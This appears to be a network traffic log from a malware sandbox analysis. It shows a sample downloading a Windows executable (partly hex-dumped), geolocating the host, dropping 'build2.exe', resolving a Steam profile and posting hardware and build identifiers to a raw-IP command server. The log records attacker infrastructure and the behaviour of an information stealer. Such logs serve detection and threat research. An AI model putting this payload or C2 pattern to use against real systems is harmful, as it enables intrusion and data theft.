Apr 23, 2024 22:17:03.341233015 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 20:17:22 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 Last-Modified: Mon, 09 Oct 2023 19:50:06 GMT ETag: "4ae00-6074de5a4a562" Accept-Ranges: bytes Content-Length: 306688 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6krh8rh8rh88sh8l8nh8l8h8U_8{h8ri8h8l82h8l8sh8l8sh8Richrh8PELaj; @>lhd>/0@.textrhj `.data:n@.kic>\|@.rsrc/>0~@@
Apr 23, 2024 22:17:03.341279030 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 73 03 00 00 00 00 00 8c 73 03 00 9c 73 03 00 00 00 00 00 f6 6b 03 00 0c 6c 03 00 22 6c 03 00 2e 6c 03 00 48 6c 03 00 5a 6c 03 00 70 6c 03 00 86 6c 03 00 96 6c 03 00 ac 6c 03 00 c0 6c 03 00 d0 6c 03 00 ec Data Ascii: ssskl"l.lHlZlpllllllllm m4mBm^mtmmmmmmmnn&n@n\nlnnnnnnnnnoo,o@oTo`opoookooo
Apr 23, 2024 22:17:03.341317892 CEST	1289	IN	Data Raw: 53 00 6f 00 6c 00 6f 00 66 00 75 00 64 00 69 00 20 00 67 00 6f 00 78 00 6f 00 72 00 75 00 76 00 20 00 73 00 61 00 70 00 6f 00 63 00 75 00 7a 00 69 00 00 00 4e 00 69 00 6d 00 69 00 67 00 6f 00 74 00 20 00 67 00 69 00 66 00 6f 00 76 00 75 00 00 00 Data Ascii: Solofudi goxoruv sapocuziNimigot gifovuwelxolatxojiliFapejepuzeh wororuv mezumitelaMawoyujewoyosigubufozo wami xuxolesenawemo dohamefejexe
Apr 23, 2024 22:17:03.341489077 CEST	1289	IN	Data Raw: 00 2c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 61 00 6c 00 6c 00 6f 00 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 68 00 61 00 72 00 3e 00 20 00 3e 00 20 00 3e 00 20 00 3e 00 3a 00 3a 00 6f 00 70 00 65 00 72 00 61 00 74 Data Ascii: ,class std::allocator<char> > > >::operator +=("this->_Has_container()", 0)C:\Program Files (x86)\Microsoft Visual Stud
Apr 23, 2024 22:17:03.489938021 CEST	1289	IN	Data Raw: 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 62 00 61 00 73 00 69 00 63 00 5f 00 73 00 74 00 72 00 69 00 6e 00 67 00 3c 00 63 00 68 00 61 00 72 00 2c 00 73 00 74 00 72 00 75 00 63 00 74 00 Data Ascii: cator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Vector_const_iterator
Apr 23, 2024 22:17:03.490022898 CEST	1289	IN	Data Raw: 00 00 00 00 00 73 00 72 00 63 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 Data Ascii: src != NULLmemcpy_sf:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.cdst != NULLmemmove_sf:\dd\vctools\crt_bld\sel
Apr 23, 2024 22:17:03.490155935 CEST	1289	IN	Data Raw: 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 28 00 Data Ascii: C++ documentation on asserts.memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot
Apr 23, 2024 22:17:03.490231991 CEST	1289	IN	Data Raw: 00 55 00 4c 00 4c 00 29 00 00 00 70 00 75 00 74 00 63 00 00 00 00 00 76 00 73 00 63 00 61 00 6e 00 66 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c Data Ascii: ULL)putcvscanff:\dd\vctools\crt_bld\self_x86\crt\src\scanf.c(format != NULL)f:\dd\vctools\crt_bld\self_x86\crt\src\_file.cf:\dd\vctools\crt_bld\se
Apr 23, 2024 22:17:03.490397930 CEST	1289	IN	Data Raw: 72 65 61 6c 6c 6f 63 28 29 00 00 00 00 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6c 6f 63 6b 20 74 79 70 65 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 Data Ascii: realloc()Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).Client hook re-allocation failure.Client hook re-allocation failure at file %hs
Apr 23, 2024 22:17:03.490473032 CEST	1289	IN	Data Raw: 20 66 72 65 65 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 00 00 54 68 65 20 42 6c 6f 63 6b 20 61 74 20 30 78 25 70 20 77 61 73 20 61 6c 6c 6f 63 61 74 65 64 20 62 79 20 61 6c 69 67 6e 65 64 20 72 6f 75 74 69 6e 65 73 2c 20 75 73 65 20 5f 61 6c 69 Data Ascii: free failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_dbg%hs located at 0x%p is %Iu bytes long.%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).HEAP C
Apr 23, 2024 22:17:03.490546942 CEST	1289	IN	Data Raw: 61 00 74 00 65 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 4f 62 6a 65 63 74 20 64 75 6d 70 20 63 6f 6d 70 6c 65 74 65 2e 0a 00 00 63 72 74 20 62 6c 6f 63 6b 20 61 74 20 30 78 25 70 2c 20 73 75 62 74 79 70 65 20 25 78 2c 20 25 49 75 Data Ascii: ate != NULLObject dump complete.crt block at 0x%p, subtype %x, %Iu bytes long.normal block at 0x%p, %Iu bytes long.client block at 0x%p, subtype %x, %Iu bytes long.{%ld} %hs(%d) : #File Error#(%d) : Dumping objects

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.139.220	443	7344	C:\Users\user\Desktop\AaIo4VGgvO.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:16:55 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-23 20:16:56 UTC	893	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 20:16:55 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7wC1yyhAO23UA4DFFZTDvePww96XB1fkHg%2FIwyRpLA2YJFz2Wq6K8layWUDvfhPd2HSyMK81fcGae0SI%2FKRpa98cU%2FK%2BxDnE74NPYgDO2Cu3FKqCqNE3tQpaNT4%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879088bbdd2a4513-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 20:16:56 UTC	423	IN	Data Raw: 31 61 30 0d 0a 7b 22 69 70 22 3a 22 38 39 2e 31 38 37 2e 31 37 31 2e 31 33 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 47 65 6f 72 67 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 34 5c 75 30 34 33 36 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 34 5c 75 30 34 33 36 5c 75 30 34 33 38 5c 75 30 34 34 66 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 Data Ascii: 1a0{"ip":"89.187.171.132","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Georgia","region_rus":"\u0414\u0436\u043e\u0440\u0434\u0436\u0438\u044f","region_ua":"\u041
2024-04-23 20:16:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.139.220	443	7460	C:\Users\user\Desktop\AaIo4VGgvO.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:16:57 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-23 20:16:57 UTC	897	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 20:16:57 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N%2Fo6ap3h4Nh3F7hEN88x7lqNHkaMIiCijRb3swlMW%2FH3Lb1mfxIJOUg2VWRZJgHMz%2FvqSD1oLoygBsBtW%2BI108Tux47n%2B591qkWXqr%2Bw2ifyrrYq0%2Fki71ROdOCo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879088c7a822b087-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 20:16:57 UTC	423	IN	Data Raw: 31 61 30 0d 0a 7b 22 69 70 22 3a 22 38 39 2e 31 38 37 2e 31 37 31 2e 31 33 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 47 65 6f 72 67 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 34 5c 75 30 34 33 36 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 34 5c 75 30 34 33 36 5c 75 30 34 33 38 5c 75 30 34 34 66 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 Data Ascii: 1a0{"ip":"89.187.171.132","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Georgia","region_rus":"\u0414\u0436\u043e\u0440\u0434\u0436\u0438\u044f","region_ua":"\u041
2024-04-23 20:16:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.139.220	443	7540	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:16:59 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-23 20:16:59 UTC	893	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 20:16:59 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MzfSyG%2B9IQQVoMi0DcudBqLHY%2FnCyCyJ2YGr38BudeN0GjZ78MqX2BNxchTD1nTVJbfMXLp%2BHwGkBqiV7HBmXv7%2Box8ljkuU3aZ1orm07jSnrtcT5FN3KyKC3B%2FN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879088d399b71365-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 20:16:59 UTC	423	IN	Data Raw: 31 61 30 0d 0a 7b 22 69 70 22 3a 22 38 39 2e 31 38 37 2e 31 37 31 2e 31 33 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 47 65 6f 72 67 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 34 5c 75 30 34 33 36 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 34 5c 75 30 34 33 36 5c 75 30 34 33 38 5c 75 30 34 34 66 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 Data Ascii: 1a0{"ip":"89.187.171.132","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Georgia","region_rus":"\u0414\u0436\u043e\u0440\u0434\u0436\u0438\u044f","region_ua":"\u041
2024-04-23 20:16:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	104.67.208.180	443	7644	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:17:03 UTC	119	OUT	GET /profiles/76561199673019888 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 20:17:03 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 23 Apr 2024 20:17:03 GMT Content-Length: 33790 Connection: close Set-Cookie: sessionid=06c4150f798af2c9ae512491; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C514997ac8292ce85a02847656e86f088; Path=/; Secure; HttpOnly; SameSite=None
2024-04-23 20:17:03 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-04-23 20:17:03 UTC	10062	IN	Data Raw: 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6c 69 6e 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0d 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: obal_action_link" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2024-04-23 20:17:03 UTC	9214	IN	Data Raw: 74 65 61 6d 67 61 6d 65 73 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 70 61 72 74 6e 65 72 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 54 45 52 4e 41 4c 5f 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 65 61 6d 73 74 61 74 73 2e 76 61 6c 76 65 2e 6f 72 67 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 5f 43 4c 49 45 4e 54 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 55 53 45 5f 50 4f 50 55 50 53 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 49 43 4f 4e 5f 42 41 Data Ascii: teamgames.com\/","STATS_BASE_URL":"https:\/\/partner.steampowered.com\/","INTERNAL_STATS_BASE_URL":"https:\/\/steamstats.valve.org\/","IN_CLIENT":false,"USE_POPUPS":false,"STORE_ICON_BA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	95.217.9.149	443	7644	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:17:04 UTC	169	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 20:17:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 20:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-23 20:17:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	95.217.9.149	443	7644	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:17:05 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIEHIIIJDAAAAAAKECB User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 20:17:05 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 31 34 42 41 31 33 41 32 38 30 31 31 32 38 30 35 36 36 34 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="hwid"6114BA13A2801128056648-a33c7340-61ca-11ee-8c18-806e6f6e6963------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------
2024-04-23 20:17:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 20:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
